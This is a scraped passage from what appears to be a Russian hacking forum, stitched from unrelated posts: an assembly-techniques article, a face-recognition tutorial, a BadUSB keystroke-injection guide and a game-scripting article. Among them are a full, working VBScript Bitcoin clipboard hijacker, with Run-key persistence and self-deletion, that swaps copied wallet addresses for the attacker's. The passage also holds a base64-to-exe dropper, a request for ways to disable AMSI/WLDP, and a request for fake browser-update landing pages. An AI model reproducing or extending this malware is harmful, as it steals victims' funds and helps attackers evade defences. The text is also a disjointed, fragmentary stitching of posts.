, только она переставляет местами
не биты 4-байтного (32-битного) числа, а целиком его байты. Например если в
регистре EAX
было значение 12345678h
, то после инструкции BSWAP EAX
получим 78563412h
. Как видим, рассеиваемость бит по сравнению с оригиналом
оставляет желать лучшего, хотя вариант тоже имеет право на жизнь. По-сути, эта
фурия меняет порядок байт в памяти от "Big-Endian" на "Litle-Endian", чего
требует архитектура некоторых процессоров.
1.2 Связка SHR и флаг(CF) – преобразование в BIN
По непонятной причине, в системе нет ни одной API-функции, которая могла-бы преобразовать число, в строку двоичного вида. Например, тот-же wsprintf() из Kernel32.dll не имеет спецификатора для BIN, а только OCT, DEC, HEX. В общем случае, в природе для группы функций printf() предусмотрены следующие спецификаторы, которые мы должны вскормить им в первом аргументе:
C-like:Copy to clipboard
%f - плавающая точка fpu,
%u - десятичное беззнаковое целое DEC,
%d - десятичное знаковое целое DEC,
%o - восьмеричное представление OCT,
%x - шестнадцатеричное представление HEX,
%p – выводит указатель,
%c - символьное представление,
%s - строка,
%I64x - 64 битное HEX-число.
%I64u - 64 битное DEC-число.
Для перевода числа в бинарную строку программисты изворачиваются кто-как
может, а лично я предпочитаю по-битное выталкивание разрядов числа, с
последующим преобразованием их в символы. Если заглянуть в ASCII-таблицу, то в
ней наблюдается закономерность, что числа в диапазоне 0..9 отличаются от
символьного своего представления ровно на 30h
. То-есть числу(1)
соответствует код 31h
, двойке – 32h
, девятке – 39h
. Теперь, при помощи
SHR
выталкивая биты вправо, можно следить за состоянием флага(CF) и прибавив
к нему 30h
записывать в буфер, для последующего вывода в форточку, или на
консоль. Вот пример:
C-like:Copy to clipboard
.data
buff db 0 ;// приёмный буфер, до конца 4К-байтной секции-данных.
;// если обозначить его в самом хвосте данных,
;// то это предотвратит его переполнение.
.code
start:
mov ebx,12345678h ;// число для преобразования в строку BIN
mov ecx,32 ;// кол-во разрядов в числе (32-бит), и длина цикла
mov edi,buff ;// указатель на приёмник для STOSB
clc ;// очистить флаг(CF) – Clear CF
@bin2str: ;// начало цикла..
mov al,30h ;// в дефолте сохранять в буфере символ нуль
shr ebx,1 ;// выдвинуть из числа бит вправо (он запоминается во-флаге CF)
jnc @skip ;// если CF=0 (Jump No Carry) – выдвинулся бит со-значением нуль
inc al ;// иначе: AL+1 и получили символ "1" = 31h
@skip: stosb ;// сохранить его в EDI, и сместить EDI на 1
loop @bin2str ;// промотать цикл ECX-раз..
cinvoke printf,<'%s',0>,buff ;// вывод буфера на консоль, в виде строки "%s"
Если к этому коду прицепить вложенный цикл на 4 или 8 итераций, то можно организовать форматированный бинарный вывод, вставляя после каждой тетрады/байта точку или пробел. Это на порядок повысит читабельность бинарной строки.
1.3 Инструкция AND (лог.умножение(И), конъюнкция)
Остаток от деления любого числа на степень(2) можно получить при помощи
логической инструкции обнуления битов AND
. Второй операнд этой инструкции
представляет собой двоичную маску, которая указывает, какие именно биты числа
мы хотим сбросить. Обнуляются только те биты исходного числа, которые в маске
имеют значение нуль.
Допустим имеем в регистре число 18'500 и нужно узнать остаток от деления его
на 128.
Для этого, отнимаем от 128 единицу и получаем число 127, двоичное
представление которого состоит из шести последовательных единиц: 01111111 = 127
. Теперь применяем эту маску к регистру, в результате чего в нём сбросятся
все биты, кроме младших шести: AND EAX,127
. Вот как это выглядит в двоичном
виде.. Кстати, не нужно путать остаток, с дробной частью (которую показывает
калькулятор). Чтобы в регистрах получить дробную часть, нужно использовать
сопр FPU:
C-like:Copy to clipboard
;// Вычисление остатка от 18500/128 логикой
;//----------------------------------------
EAX = число..: 01001000.01000100 = 18500
AND = маска..: 00000000.01111111 = 127
----------------------------------------------------
Остаток в EAX: 00000000.01000100 = 68
;// Вычисление остатка от 385/256 логикой
;//----------------------------------------
EAX = число..: 00000001.10000001 = 385
AND = маска..: 00000000.11111111 = 255
----------------------------------------------------
Остаток в EAX: 00000000.10000001 = 129
Другое применение инструкции AND
– это выравнивание адреса на границу
степени(2).
Например, если в регистре EBX
лежит некоторый указатель, то инструкция AND EBX,1000h
позволит установить его на начало 4-Кбайтной страницы вирт.памяти.
В данном случае, эта инструкция сбросит 12-младших бит адреса (три тетрады
нулей) , а поскольку 12^2=4096, получаем размер страницы 4К. Старшие биты
могут быть любыми и выбирают номер конкретной страницы из всего пула, а
младшие – смещают указатель на начало, внутри страницы(N).
Выравнивание особенно актуально для регистра-указателя на стек ESP
. Если в
управляющем регистре процессора CR0
взведён бит(АМ) и в регистре флагов
EFLAGS
выставлен флаг(АС) Alignment Control , то любое обращение к стеку
по нечётным адресам будет возбуждать исключение #AC. Кроме того и функция
выделения памяти VirtualAlloc() требует выравнивания адреса на 4К-страницу.
Здесь и пригодится инструкция AND
, которая за треть такта решит проблему.
2. Баг с флагомZF – определение вендораCPU
Корпорации Intel и AMD – это вечные соперники. Каждый из них имеет свой штат сотрудников и инженеров, которые хоть и воруют иногда идеи друг-у-друга, но всё-же работают в закрытых офисах параллельно. По этой причине, в некоторых вопросах у них получаются разногласия, ухватившись за которые можно определить, продуктом какого именно вендора мы пользуемся.
Более того, человеку присущи ошибки и поскольку разработки ведутся независимо, то соответственно и баги в железяках у них свои. На запрос " Intel CPU bugs" можно выловить в гугле длинную портянку характерных конкретному производителю ошибок, от чего в последующем и плясать.
Одной из таких принципиальных отличий процессоров Intel от AMD является
отношение инженеров к флагу(ZF) процессора, который информирует нас о нулевом
состоянии какого-либо регистра – Zero Flag. К примеру, если взвести его на
процессорах Intel и следом выполнить операцию деления DIV
, то на выходе из
операции Intel сбрасывает флаг(ZF) в нуль, а вот инженеры AMD посчитали иначе
и в данном случае не трогают его – он как был взведённым до операции, так и
останется после.
Если по существу, то продуманы из AMD на мой взгляд здесь правы, поскольку
оперируют этим флагом только тогда, когда мы требуем этого явно, ..например
проверяем конкретный регистр на нуль инструкцией OR EAX,EAX
. Тут мы сами
говорим процессору, мол " взведи флаг-нуля, если в регистре EAX лежит нуль".
Однако непонятно, чем руководствуются инженеры Intel сбрасывая ZF после
операции деления? Ведь мы не знаем, какой именно регистр обнулился, хотя флаг
ZF об этом сигнализирует.
Таким образом имеем сигнатурный штамм, по которому можем вычислить
производителя. В примере ниже мы явно взводим флаг(ZF) при обнулении регистра
EDX
инструкцией XOR EDX,EDX
, поэтому оба вендора его исправно
устанавливают в единицу. Зато после деления – AMD его игнорирует, а Intel
сбрасывает, на чём и палится:
C-like:Copy to clipboard
.data
intel db 'Intel',0
amd db 'AMD',0
.code
start: xor edx,edx ;// обнуляем EDX, устанавливая флаг ZF=1
mov eax,5 ;// EDX:EAX = делимое
mov ebx,2 ;// EBX = делитель
div ebx ;// произвести операцию деления EAX на EBX !!!
mov eax,intel ;// в дефолте выводим INTEL
jz @prn ;// пропустить, если флаг ZF=0 сброшен (Jump if Zero)
mov eax,amd ;// иначе ZF=1 остался взведённым, и поменять мессагу на AMD.
@prn:
cinvoke printf,eax ;// вывод сообщения на консоль!
Способ проверенный и работает на всех современных процессорах, расходуя всего
с десяток тактов CPU. Можно сравнить его со-специально предназначенной для
идентификации профессоров инструкцией CPUID
, которая растягивается на
несколько тысяч тактов, хотя и возвращает намного больше конфиденциальной инфы
о своей тушке. Так-что область применения глюка строго ограничена тупой
проверкой вендора.
3. Как получить массив случайных чисел "RANDOM"
Перед каждым программером рано или поздно встаёт вопрос генерации случайных чисел, что на буржуйский манер звучит как Random. У мастдая с этим проблемы, и всё-что может предложить нам система – это сишную библиотеку времени исполнения msvcrt.dll (C-Run-Time library, или CRT) , внутри которой имеется функция rand(). Она возвращает всего-лишь 16-битное случайное значение в пределах 32767, и то с очень плохим рассеиванием бит, поэтому никак не годится для криптографии.
Правда современные процессоры поддерживают уже инструкцию ассемблера RDRAND
(опкод 0FC7h) , которая организована на уровне микро/архитектуры. Но и в
этом случае макс.размер псевдослучайного числа не превышает 8-байт, или
64-бит.
Однако мало кто знает, что в Windows имеется своя крипто-система, сосредоточенная в библиотеках Advapi32.dll и Crypt32.dl l. Этот мощный механизм известен под общим названием Crypto-API и позволяет генерировать случайные числа без приставки "псевдо", т.к. заточен специально под шифрование. Можно получить криптографически стойкие ключи буквально неограниченного размера, а источниками для энтропии являются дребезжание контактов физической аппаратуры, или-же частотный анализ системы питания. Рассмотрим этот механизм в двух словах..
Работу данной крипто-системы поддерживают несколько провайдеров, которые зарыты в нёдрах оси. Каждый из них предоставляет нам свои услуги и генерирует ключи по своему индивидуальному алгоритму. Соответственно перед тем-как сгенерировать ключ, мы должны выбрать конкретного поставщика при помощи функции CryptAcquireContext(). Эта функция возвращает нам дескриптор, через который мы будем в дальнейшем обращаться к выбранному поставщику.
C-like:Copy to clipboard
BOOL CryptAcquireContextA()
phProv dd 0 ;// указатель на переменную, под дескриптор поставщика
szContainer dd 0 ;// указатель на строку с именем контейнера ключей – ставим нуль
szProvider dd 0 ;// указатель на строку с именем поставщика – ставим нуль
dwProvType dd 0 ;// константа с типом поставщика (провайдера)
dwFlags dd 0 ;// флаг – ставим CRYPT_VERIFY_CONTEXT = 0xF0000000
На рисунке ниже представлена общая схема крипто-системы Win, с краткой информацией о провайдерах. Надеюсь она прояснит ситуацию:
После того-как поставщик выбран (в примере я воспользуюсь услугами первого PROV_RSA_FULL=1), мы запрашиваем у него ключ функцией CryptGenRandom(), не забыв при этом указать необходимую длину ключа. Из таблицы выше видно, что мой провайдер с константой(1) генерит и шифрует ключ по алгоритму RC2 или 4, после чего применяет к нему хеш SHA или MD5 (на своё усмотрение). По окончании, нужно обязательно оповестить поставщика, что мы не нуждаемся более в его услугах. Закрывает открытый дескриптор функция CryptReleaseContext().
Таким образом в буфере получим Random требуемой длины, и теперь нам нужно как-
минимум вывести его на консоль. Значит задача – число неизвестной длины
перевести в строку соответствующего вида. Для этого, выталкивая при помощи
SHR
из каждого байта ключа по 4-бита, будем использовать эту тетраду как
индекс в представляющей HEX-числа символьной строке "0123456789ABCDEF".
Макс.значение, которое можно закодировать в четырёх битах как-раз
F=16=1111b
, поэтому проблем не будет. Вот пример реализации рандома, с
размером ключа 128 байт х8 = 1024 бит. Зачем он такой длинный нужен? Да был-бы
рандом, а применение ему обязательно найдётся:
C-like:Copy to clipboard
format pe console
include 'win32ax.inc'
entry start
;//--------
.data
PROV_RSA_FULL = 1 ;// код провайдера
CRYPT_VER_CONTEXT = 0xF0000000 ;// его флаги
title db 'RANDOM Gen v.0.1',0
capt db 10
db 10,' 128-byte RANDOM value'
db 10,'=======================',10,0
ascii db '0123456789ABCDEF' ;// шаблон перевода в HEX
keyLen = 128 ;// длина RANDOM ключа
handle dd 0 ;// под хэндл провайдера
counter db 3 ;// счётчик вывода на консоль
buff db 0 ;// буфер для HEX-ASCII строки
;//--------
.code
start: invoke SetConsoleTitle,title
;//------ Выбираем поставщика из Advapi32.dll
invoke CryptAcquireContext,handle,0,0,PROV_RSA_FULL,CRYPT_VER_CONTEXT
;//------ Цикл генерации случайных ключей
;// в функцию CryptGenRandom() передаём длину ключа, и адрес приёмного буфера
@getRnd:
cinvoke printf,capt
invoke CryptGenRandom,[handle],keyLen,buff
;//------ Процедура вывода ключа на консоль
;// переводит из HEX в ASCII таблично-индексным методом
;// преобразование идёт в обратном порядке, от хвоста к голове
mov esi,keyLen ;// ESI = индекс хвоста источника
mov edi,keyLen *2 ;// EDI = хвост приёмника
mov [buff + edi],0 ;// ..(вставить туда терминальный нуль)
xor eax,eax ;// EAX = 0
@bin2hex: mov al,[buff +esi -1] ;// AL = очередной байт
shr al,4 ;// оставить ст.тетраду
mov cl,[ascii +eax] ;// взять по ней символ из таблицы
mov [buff +edi -1],cl ;// запомнить символ в EDI
dec edi ;// указатель влево..
mov al,[buff +esi -1] ;// взять тот-же байт
shl al,4 ;// оставить мл.тетраду
shr al,4 ;// ...^^^
mov cl,[ascii +eax] ;// взять по ней символ из таблицы
mov [buff +edi -1],cl ;// запомнить символ в EDI
dec edi ;// сместить указатели влево..
dec esi ;// ...^^^
jnz @bin2hex ;// повторить по всему буферу, пока ESI > 0
;//------ Вывод на консоль и пауза 2-сек.
cinvoke printf,buff
invoke Sleep,2000
dec [counter] ;// уменьшить счётчик повторов RANDOM
jnz @getRnd ;// повторить пока счётчик > 0.
;//------ Освобождаем поставщика по его хэндлу.
invoke CryptReleaseContext,[handle],0
cinvoke gets,buff
cinvoke exit, 0
;//-----------
section '.idata' import data readable
library msvcrt, 'msvcrt.dll',\
advapi32,'advapi32.dll',\
kernel32,'kernel32.dll'
import msvcrt, printf,'printf',gets,'gets',exit,'exit'
include 'api\advapi32.inc'
include 'api\kernel32.inc'
На сайте мелкомягких лежит утверждение, что мол функция CryptGenRandom() уже устарела и не следует использовать её в своих программах. Однако она прекрасно отрабатывает не только на моей Win-7, но даже и на последней десятке Win-10. Поэтому думаю рановато сбрасывать её со-счётов.
Попробуйте изменить длину ключа в константе "keyLen", и получите рандомное значение исполинских размеров, например 2048-байт и больше. Проецируя такой ключ на массив данных, можно организовать блочное шифрование по типу бородатого алгоритма Виженера.
Послесловие...
Что-то букаф много стало для одной статьи, поэтому по мере возможности буду расширять её позже. Если у кого-то имеются интересные на их взгляд алгоритмы и техники, то добро пожаловать под капот. Не обязательно, чтобы это был ассемблер – можно на сишке, или других языках. Лишь-бы с краткими пояснениями сути дела, а дальше реализовать можно на любом сленге. А пока закругляюсь и до скорого..
Автор @Marylin
источник https://codeby.net/threads/asm-texniki-iz-starogo-sunduka.75535/
](https://drive.google.com/drive/folders/0B7LaUGSR3677MFlBRlpJT2c3Uk0)
Access Google Drive with a Google account (for personal use) or Google Workspace account (for business use).
drive.google.com
Есть ли способ отрубить AMSI и WLDP в контексте текущего процесса кодом на VBScript/JScript на горячую (без перезагрузки своего процесса)? Прямого доступа к памяти в VBS'е нет, как в том же Powershell'е, так что пропатчить функцию не получится. Понятно, что можно COM-хайджекинг сделать, но тогда будет нужно перезапускать процесс, а этого нельзя сделать по текущим условиям задачи. Больше пока ничего в голову не приходит. Подкиньте идею.
Технология распознавание лиц не является чем-то сложным или недоступным.
В настоящее время мы наблюдаем распространение систем распознавания лиц. Многим может казаться что такие системы сложны в реализации и требуют знаний в области машинного обучения или компьютерного зрения. Но в действительности, реализовать такую систему, даже в домашних условиях, не сложно.
В данной статье мы напишем программу распознавания лиц на Go с помощью библиотек dlib и opencv. Наша программа будет отображать видеопоток, рисовать прямоугольник вокруг лица и подписывать лицо в случае распознавания.
Для начала рассмотрим наши библиотеки.
Dlib - это свободная библиотека, включающая алгоритмы машинного обучения и программные средства для создания сложного программного обеспечения для решения практических задач. Прелесть этой библиотеки в том, что на ней реализованы и натренированы нейросети, позволяющих выявлять и векторизовывать лица на изображениях. Притом между получаемые векторами можно находить евклидовые расстояния и, таким-образом, судить о схожести лиц. Мы будем использовать обёртку на Go github.com/dimuls/face.
Opencv - это свободная библиотека машинного обучения и компьютерного зрения. Данная библиотека, как и dlib, включает алгоритмы и нейросети для выявления лиц, однако мы не будем использовать их в нашей программу. Нам она нужна для подключения к источникам видеопотоков. Мы будем использовать Go обёртку gocv.
Перед написанием и запуском программы необходимо правильным образом собрать и установить библиотеки dlib и opencv, а так-же установить Go обёртки github.com/dimuls/face и gocv. Как это сделать ― тема отдельной статьи. Так-же желательно наличие видеокарты с поддержкой технологии CUDA для ускорения алгоритмов нейросетей.
Опишем основной алгоритм работы нашей программы:
Ядро любой программы или системы распознавания лиц работаем примерно по этому
алгоритму. Разница лишь в действиях, предпринимаемых при выявлении лица и
нахождении известного лица.
Давайте посмотрим на реализацию. Ниже приведён код main функции программы. Полный код можно найти [тут](https://github.com/dimuls/face/tree/master/example/face- recognizer/main.go).
В начале мы инициализируем основные объекты, которые будут использоваться в нашей программе.
Инициализация детектора лиц, который будет выявлять лица.
Инициализация распознавателя лиц, который будет векторизовывать лица.
Инициализация базы персон.
Инициализация видеопотока.
Инициализация окна программы.
Инициализация изображения для очередного кадра.
Далее у нас идёт бесконечный цикл обработки кадров со следующим содержанием.
Ждём 1 миллисекунду нажатия клавиши на клавиатуре. Если нажата Esc, то выходим
из приложения
Пока не получим кадр продолжаем цикл.
Выявляем лица в кадре. Получаем массив выявленных лиц.
Для каждого выявленного лица.
Получаем вектор выявленного лица. Вектор лица представляет собой массив из 128
32-битных чисел с плавающей запятой.
Ищем в массиве векторов известных лиц наиболее близкое (по евклиду) лицо.
Рисуем прямоугольник выявленного лица.
Если расстояние между найденным известным лицом и выявленным лицом меньше
какого-то порога, то пишем имя найденного известного лица над нарисованным
прямоугольником.
После цикла выявленных лиц рисуем кадр в окне.
Таким образом, в данной статье, мы рассмотрели библиотеки, которые используются в системах распознавания лиц, рассмотрели базовый алгоритм работы любой такой системы, написали простую программу распознавания лиц, которая может работать даже на домашнем компьютере. Можно сделать вывод о том, что технология распознавания лиц не является чем-то сложным или недоступным.
Автор: Чернов Вадим Игоревич, ведущий программист, победитель хакатона Fintech&Security Superhero
You must have at least 10 reaction(s) to view the content.
Многотеррабайтное облако, по всей видимости, вьетнамских студентов. Различные курсы, видео, мануалы и прочее на английском, но частнично на тайском. Тематика очень разная - много материалов по программированию, информационным технологиям в целом, но не ограничиваясь этим.
короче кто поможет, не могу сделать простейшую штуку))) это вместо cчитывать вместо encode.txt из string или подобную херь))
Code:Copy to clipboard
Option Explicit
Const foForReading = 1
Const foAsASCII = 0
Const adSaveCreateOverWrite = 2
Const adTypeBinary = 1
Dim objFSO
Dim objFileIn
Dim objStreamIn
Dim objXML
Dim objDocElem
Dim objStream
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFileIn = objFSO.GetFile("encoded.txt")
Set objStreamIn = objFileIn.OpenAsTextStream(foForReading, foAsASCII)
Set objXML = CreateObject("MSXml2.DOMDocument")
Set objDocElem = objXML.createElement("Base64Data")
objDocElem.DataType = "bin.base64"
objDocElem.text = objStreamIn.ReadAll()
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = adTypeBinary
objStream.Open()
objStream.Write objDocElem.NodeTypedValue
objStream.SaveToFile "ball3D.exe", adSaveCreateOverWrite
Ребят привет, имеем скрипт:
Spoiler: vbs
Rich (BB code):Copy to clipboard
Set objWSH = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile(wscript.ScriptFullName)
On Error Resume Next
MyBTCAddress = "1M7rz9mkRqrN93Uymmo2Mw7sgmKdpQgCEe"
BTCFolder = objWSH.ExpandEnvironmentStrings("%APPDATA%") & "\Kitashi Corp"
BTC = BTCFolder & "\Kitashi Software.vbs"
RegKeyName = "Kitasho Software Corp"
If Not objFSO.Folderexists(BTCFolder) then
objFSO.CreateFolder BTCFolder
End If
Const HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objRegistry = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
objRegistry.SetStringValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", RegKeyName, chr(34) & BTC & chr(34)
Sub CreateBTCs
Set FileBTC = objFSO.CreateTextFile(BTC, True)
FileBTC.WriteLine "On Error Resume Next"
FileBTC.WriteLine "Set objHTML = CreateObject(" & chr(34) & "HTMLfile" & chr(34) & ")"
FileBTC.WriteLine "Set objWSH = CreateObject(" & chr(34) & "WScript.Shell" & chr(34) & ")"
FileBTC.WriteLine "Do"
FileBTC.WriteLine "wscript.sleep(500)"
FileBTC.WriteLine "Clipboard = objHTML.ParentWindow.ClipboardData.GetData(" & chr(34) & "text" & chr(34) & ")"
FileBTC.WriteLine "LengthofClipboard = Len(Clipboard)"
FileBTC.WriteLine "If Left(Clipboard,1) = " & chr(34) & "1" & chr(34) & " then"
FileBTC.WriteLine "If LengthofClipboard >= 26 and LengthofClipboard <= 35 then"
FileBTC.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & MyBTCAddress & "| clip" & chr(34) & ", 0"
FileBTC.WriteLine "End If"
FileBTC.WriteLine "End If"
FileBTC.WriteLine "If Left(Clipboard,1) = " & chr(34) & "3" & chr(34) & " then"
FileBTC.WriteLine "If LengthofClipboard >= 26 and LengthofClipboard <= 35 then"
FileBTC.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & MyBTCAddress & "| clip" & chr(34) & ", 0"
FileBTC.WriteLine "End If"
FileBTC.WriteLine "End If"
FileBTC.WriteLine "Loop"
FileBTC.Close
End Sub
CreateBTCs
objWSH.run chr(34) & BTC & chr(34)
Суть такая, это часть клиппера, если он обнаруживает кошель btc в клипборде, то меняет его на ваш кошель. Очень нужна помощь, так как совсем не шарю в vbs, нужно дописать строки, чтобы при обнаружении в clipboard значения 0.001521 например, оно заменялось например на 0.01521. Подскажите как это сделать? Проблема в том, что тулза эта нужна уже совсем скоро, времени нет разбираться, поэтому если не сложно, кто знаком с vbs, дайте знать как это запилить.
Приветствую! Сразу скажу, я не гений в разработке, так что можете закидывать грязными трусами, если оно вам надо. Но если кто-то даст подсказку по моему вопросу -- буду признателен.
Допустим, есть программа X(x1,x2....xn) с открытым исходным кодом, где
(х1,x2...xn) -- функции программы X. И есть программа Y(y1,y2...yn) -- тоже
опен сорс. Я хочу сделать программу Z(x1,x5,y2,y8), допустим.
То есть хочу собрать две программы в одну и использовать только определенный
функционал из этих двух программ на Линукс (например nmap+vulscan+hydra).
Подскажите ссылки или литературу, которые помогут в этом деле, буду благодарен, всем мир.
Привет всем. Решил начать писать проекты (брут/чекер). Так как в данной сфере
недавно,то пишу пока простые проекты. Данные проекты в паблик выходить не
будут.
Не пишу популярные сайты,а также с Клауд и Капчей.
По всем вопросам писать в тг: @AEX123
ищу гуру по sed,gawk
время готов компенсировать
в ЛС
Привет! Может кто помочь с таким заданием??(да я долбаеб, сам не смог это сделать)
a) Написать скрипт, который удаляет из текстового файла пустые строки и
заменяет маленькие символы на большие (воспользуйтесь tr или sed).
b) Изменить скрипт мониторинга лога, чтобы он выводил сообщения при попытке
неудачной аутентификации пользователя /var/log/auth.log, отслеживая сообщения
примерно такого вида:
May 16 19:45:52 vlamp login[102782]: FAILED LOGIN (1) on '/dev/tty3' FOR
'user', Authentication failure
Проверить скрипт, выполнив ошибочную регистрацию с виртуального терминала.
c) Создать скрипт, который создаст директории для нескольких годов (2010 —
2017), в них — поддиректории для месяцев (от 01 до 12), и в каждый из них
запишет несколько файлов с произвольными записями (например 001.txt,
содержащий текст Файл 001, 002.txt с текстом Файл 002) и т.д.
Ты вообще о чем говорить собрался?
**Для начала... BadUSB — один из инструментов в арсенале хацкера. Можно эмулировать любую периферию, чаще всего подделывают клавиатуру. Здесь я покажу, как решить одну из главных связанных с этим проблем — зависимость от текущей раскладки.
Если в операционной системе выставлена русская раскладка, а твой скрипт
скармливает ей нажатия на клавиши в английской, то из этого, конечно же,
ничего не выйдет. Как обойти эту проблему? Я сам столкнулся с ней недавно,
материалов в интернете вообще нет. Только одна статья на Xakep'e, к сожалению,
подписки у меня нет, зато там мне подали идею, как это реализовать, интереснее
все сделать самому ^_^
Сегодня я лишь решил с вами поделиться решением этой проблемы, все будет
изложено максимально кратко.
**
Погнали
**Так вот, для обхода этой проблемы можно использовать Alt-коды. Например, зажимаешь Alt, удерживая, набираешь на цифровом блоке '3', и получается сердечко. Здорово? Нам это тоже очень поможет, поскольку таким образом можно вводить и обычные символы, причем независимо от текущей раскладки. Главная проблема заключалась в эмулировании клавиш на кейпаде, спустя пару часов поиска я кое-что нашел. Стандартная библиотека для Arduino (Keyboard) воспринимает печатные символы до 128 (0x7F, код), поэтому она их будет искать в таблице ASCII кодов. Чтобы это обойти, мы должны добавить к коду 136. Вот что получится в итоге:
C-like:Copy to clipboard
'\334' => Keypad /
'\335' => Keypad *
'\336' => Keypad -
'\337' => Keypad +
'\340' => Keypad ENTER
'\341' => Keypad 1 and End
'\342' => Keypad 2 and Down Arrow
'\343' => Keypad 3 and PageDn
'\344' => Keypad 4 and Left Arrow
'\345' => Keypad 5
'\346' => Keypad 6 and Right Arrow
'\347' => Keypad 7 and Home
'\350' => Keypad 8 and Up Arrow
'\351' => Keypad 9 and PageUp
'\352' => Keypad 0 and Insert
'\353' => Keypad . and Delete
Извиняюсь за говнокод, прежде под Arduino не писал
А вот готовые функции для нажатия клавиш/набора текста:
C-like:Copy to clipboard
void numpad(int KeyCode)
{
switch (KeyCode)
{
case 0:
Keyboard.press('\352');
Keyboard.release('\352');
break;
case 1:
Keyboard.press('\341');
Keyboard.release('\341');
break;
case 2:
Keyboard.press('\342');
Keyboard.release('\342');
break;
case 3:
Keyboard.press('\343');
Keyboard.release('\343');
break;
case 4:
Keyboard.press('\344');
Keyboard.release('\344');
break;
case 5:
Keyboard.press('\345');
Keyboard.release('\345');
break;
case 6:
Keyboard.press('\346');
Keyboard.release('\346');
break;
case 7:
Keyboard.press('\347');
Keyboard.release('\347');
break;
case 8:
Keyboard.press('\350');
Keyboard.release('\350');
break;
case 9:
Keyboard.press('\351');
Keyboard.release('\351');
break;
}
}
void write_str(String Input)
{
for(int j = 0; j < Input.length(); j++)
{
/*У пробела нет ALT-кода, его значение не зависит от раскладки*/
if (Input[j] == ' ')
{
Keyboard.print(' ');
}
else
{
Keyboard.press(KEY_LEFT_ALT);
String temp = String(int(Input[j]));
for(int i = 0; i < temp.length(); ++i)
{
numpad(String(temp[i]).toInt());
}
/*Поиграйтесь с этим значением*/
delay(50);
}
Keyboard.release(KEY_LEFT_ALT);
}
}
**
**Заключение
Вот и все, надеюсь, что я вам сэкономил пару часов. Вопросы по поводу BadUSB
попросил бы задавать в этом топике, надеюсь на вашу адекватность ^_^
Всем удачи!**
Hello.
Does anyone have a landing page for the flash player or google chrome update??
I am looking for a lot of time and decided to write. If anyone has a share I
would be very grateful to?
Hi, I need someone to make a html template for me. It is simple, just to change logo on existing picture and to change(translate) text.
Дисклеймер
Данная статья не является призывом к написанию читов, встраивания стиллеров в скрипты и так далее. Играйте честно, уважайте других людей и лучше делайте скрипты, помогающие людям
Приветствую вас,
сегодня я расскажу о таком явлении как Cleo. Клео скрипты известны наверное
каждому самперу без исключения, кто то о их слышал, а многие и сами их имеют
на своих сборках такой прекрасной игры Grand Theft Auto: San Andreas и её
самой популярной модификации, позволяющей играть онлайн с другими игроками San
Andreas Multiplayer или же просто SAMP.
Что такое Cleo скрипты?
" CLEO скрипт - это дополнительный игровой сценарий, написанный для GTA:SA. Несмотря на то, что в этих играх очень разнообразный игровой процесс, он может быть еще больше расширен путем добавления новых возможностей или изменения уже существующих. CLEO скрипты компилируются в программе Sanny Builder в отдельный файл с расширением .cs. Любой желающий может научиться создавать свои собственные CLEO скрипты и обмениваться ими среди миллионов фанатов игры GTA - пользователей библиотеки CLEO! "
Пока что ничего не понятно, но дальше я всё объясню.
" При помощи библиотеки CLEO можно создать совершенно как новые игровые
возможности и миссии, так и полностью внутриигровые приложения для
модификации игры (как например, DYOM), только лишь при помощи небольших
скриптов, которые можно быстро скачать и установить. Такие возможности
библиотеки как простая и быстрая установка, появление новых скриптовых команд
(опкодов) и новой звуковой системы, загрузка внешних миссий, поддержка
плагинов и многое другое открывают простор для реализации ваших идей при
изменении любимой игры Grand Theft Auto. "
Ключевое слово "Новые игровые возможности", то есть с помощью данных скриптов можно изменять некоторые механики игры и там самым преображать её миссии или основные геймплейные особенности.
Как создать свой скрипт?
Для начала нужно скачать среду, где мы будем писать сам скрипт. В Cleo для этого выступает Sanny Builder. Далее нам нужны будут знания для написания наших скриптов и для этого я оставлю ссылки на лучшие и доступные уроки для написания Cleo.
Далее вам нужно проверить работоспособность вашего скрипта. Для этого нужно установить Gta San Andreas, автоматический установщик SAMP или установить его вручную, далее скачать библиотеку клео и переместить ваш скрипт с расширением .cs или .CLEO ( второй шаг можно пропустить, но для проверки работоспособности в САМП важно проверить скрипт, т.к. он может блокироваться античитом сервера.
Где можно распространить свой скрипт?
Ниже я приведу небольшой список из сайтов, где можно выложить свой скрипт в сеть:
Code:Copy to clipboard
gta-modding.com
libertycity.ru
gta.com.ua
gamemodding.net
И ещё другой списочек:
Code:Copy to clipboard
[TABLE]
[TR]
[TD]hotmist.ddo.jp
zazmahall.de
gtagarage.com
gtainside.com
gtaall.com[/TD]
[/TR]
[/TABLE]
gtascriptd88.ucoz.ru
И самый большой форум, где вы можете спросить совет у профессионала, выставить свой скрипт на рассмотрение или поделится своим опытом в сфере разработки скриптов. (И ещё один такой же)
Code:Copy to clipboard
https://blast.hk/
https://cheat-master.ru/forum/116
Спасибо за прочтение этой мини статьи. В следующий раз расскажу про создание модификации для SAMP с помощью языка программирования LUA.
Sanny Builder (Автоматическое скачивание):
https://sannybuilder.com/files/SannyBuilder-v3.2.4.exe
Видео курс о созданий Cleo от поистине легендарного разработчика скриптов
для Сампа DarkP1xel:
](https://www.youtube.com/playlist?list=PL2MoJtS_Z5G_GVIk1Ol5hvrr1riHSIbGq)
Все выпуски "Изучаем CLEO" в одном плейлисте.
![www.youtube.com](/proxy.php?image=https%3A%2F%2Fs.ytimg.com%2Fyts%2Fimg%2Ffavicon- vfl8qSV2F.ico&hash=e9aeefb21566b65fc49728b0a01d97cc&return_error=1) www.youtube.com
Признавая главную роль встроенных систем, таких как ARM, в распространении Интернета вещей, я основала Azeria Labs, чтобы помочь людям начать изучать безопасность технологий, основанных на ARM, и понять, как тестировать Интернет вещей на предмет критических уязвимостей.
Раздел ARM Assembly Basics на этом сайте предназначен для людей, которые хотят познакомиться с языком ARM Assembly. Эти учебные пособия не требуют предварительных знаний о платформе ARM и являются хорошей отправной точкой для будущих реверс-инженеров ARM или исследователей безопасности.
Раздел «Разработка эксплойтов ARM» предназначен для тех, кто достаточно знает язык ассемблера ARM и хочет узнать о типах уязвимостей и методах эксплуатации.
(с)
Что такое WMI?
Windows Management Instrumentation (WMI) - это набор инструментов
администратора, который предоставляет возможности для локального/удаленного
